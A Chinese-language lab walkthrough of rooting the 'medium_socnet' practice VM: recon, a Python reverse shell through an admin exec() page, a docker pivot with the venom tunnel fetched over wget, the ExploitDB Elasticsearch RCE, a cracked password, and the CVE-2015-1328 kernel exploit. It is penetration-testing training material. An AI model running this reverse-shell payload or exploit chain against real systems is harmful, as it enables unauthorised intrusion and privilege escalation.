medium_socnet靶机渗透过程
准备环境
攻击机:WSL-Kali-Linux
目标靶机:medium_socnet
平台:VMware Workstation 16.2
靶机为NAT模式
一、信息搜集
1.IP扫描
nmap -sn 192.168.9.0/24
扫出靶机IP为:192.168.9.138
2.端口扫描
nmap -A -p- 192.168.9.138
开放端口情况如下
| 端口号 | 服务 |
|---|---|
| 22 | Open SSH |
| 5000 | HTTP (Werkzeug框架) |
3.目录扫描
先访问其http服务

对网站进行目录扫描
dirsearch -u http://192.168.9.138:5000/
网站目录下存在admin,对其访问

存在exec()函数,用python语句可执行命令
二、漏洞利用
1.反弹shell
在文本框内写入利用python来实现反弹shell的脚本
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("172.19.42.132",9999));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
在kali里面启动监听
nc -lvnp 9999
拿到shell之后,发现是root用户,再结合当前目录下的文件,存在Dockerfile(Docker配置文件)、requirements.txt(环境配置需求)这两个文件,推测拿到的可能是docker容器中的shell
现在的思路就是进行内网渗透,拿到宿主机权限
当前容器的ip地址为172.17.0.2

扫描其他容器,确定其他容器的IP地址
for i in $(seq 10); do ping -c 1 172.17.0.$i; done
发现172.17.0.1/2/3都有回包
2.内网穿透
Github下载[venom]工具包
kali中运行venom
./admin_linux_x64 -lport 1111
在kali中启动httpd服务
python2 -m SimpleHTTPServer
端口为8000
在docker1中将venom下载下来
wget http://172.19.42.132:8000/agent_linux_x64
对其赋权777,chmod 777 agent_linux_x64,并运行venom

此时kali中就提示已连接

创建socks隧道进行内网穿透
socks 1080
在kali中修改/etc/proxychains4.conf,在最后一行添加socks5 127.0.0.1 1080
vim /etc/proxychains4.conf3.内网渗透
通过代理对内网172.17.0.1和172.17.0.3进行扫描
proxychains nmap -Pn -sT 172.17.0.1
开放了22和5000端口
proxychains nmap -Pn -sT 172.17.0.3
开放了9200端口,服务是wap-wsp读完,利用Elasticsearch历史版本漏洞
扫描9200端口的详细信息
proxychains nmap -Pn -sT -p9200 -sV 172.17.0.3
版本为1.4.2,直接在msf6中去搜索这个版本号

使用 ElasticSearch - Remote Code | linux/remote/36337.py 来攻击
proxychains python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.3
目录下存在passwords文件,查看该文件

4.内核提权
内容有用户名和密码,密码已被md5加密,通过解密,发现只有john用户的密码能被解密,且解密后密码为1337hack
直接用ssh登录宿主机(192.168.9.138)

查看该用户所拥有的权限
sudo -l
无法查看,只能通过内核提权
查看该宿主机的系统内核版本为3.13.0
uname -a
在msfconsole中搜索该版本的exp

将37292.c复制到任意目录,然后对139-147进行注释,在进行编译

gcc -o exp 37292.c
将ofs-lib.so文件cp到当前目录
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./
打开kali的http服务
python3 -m http.server 80在宿主机中将exp和so文件wget到/tmp目录下,业务/tmp有所有权限


对这两个文件进行赋权777
执行exp
./exp
拿到靶机的root权限



































































































































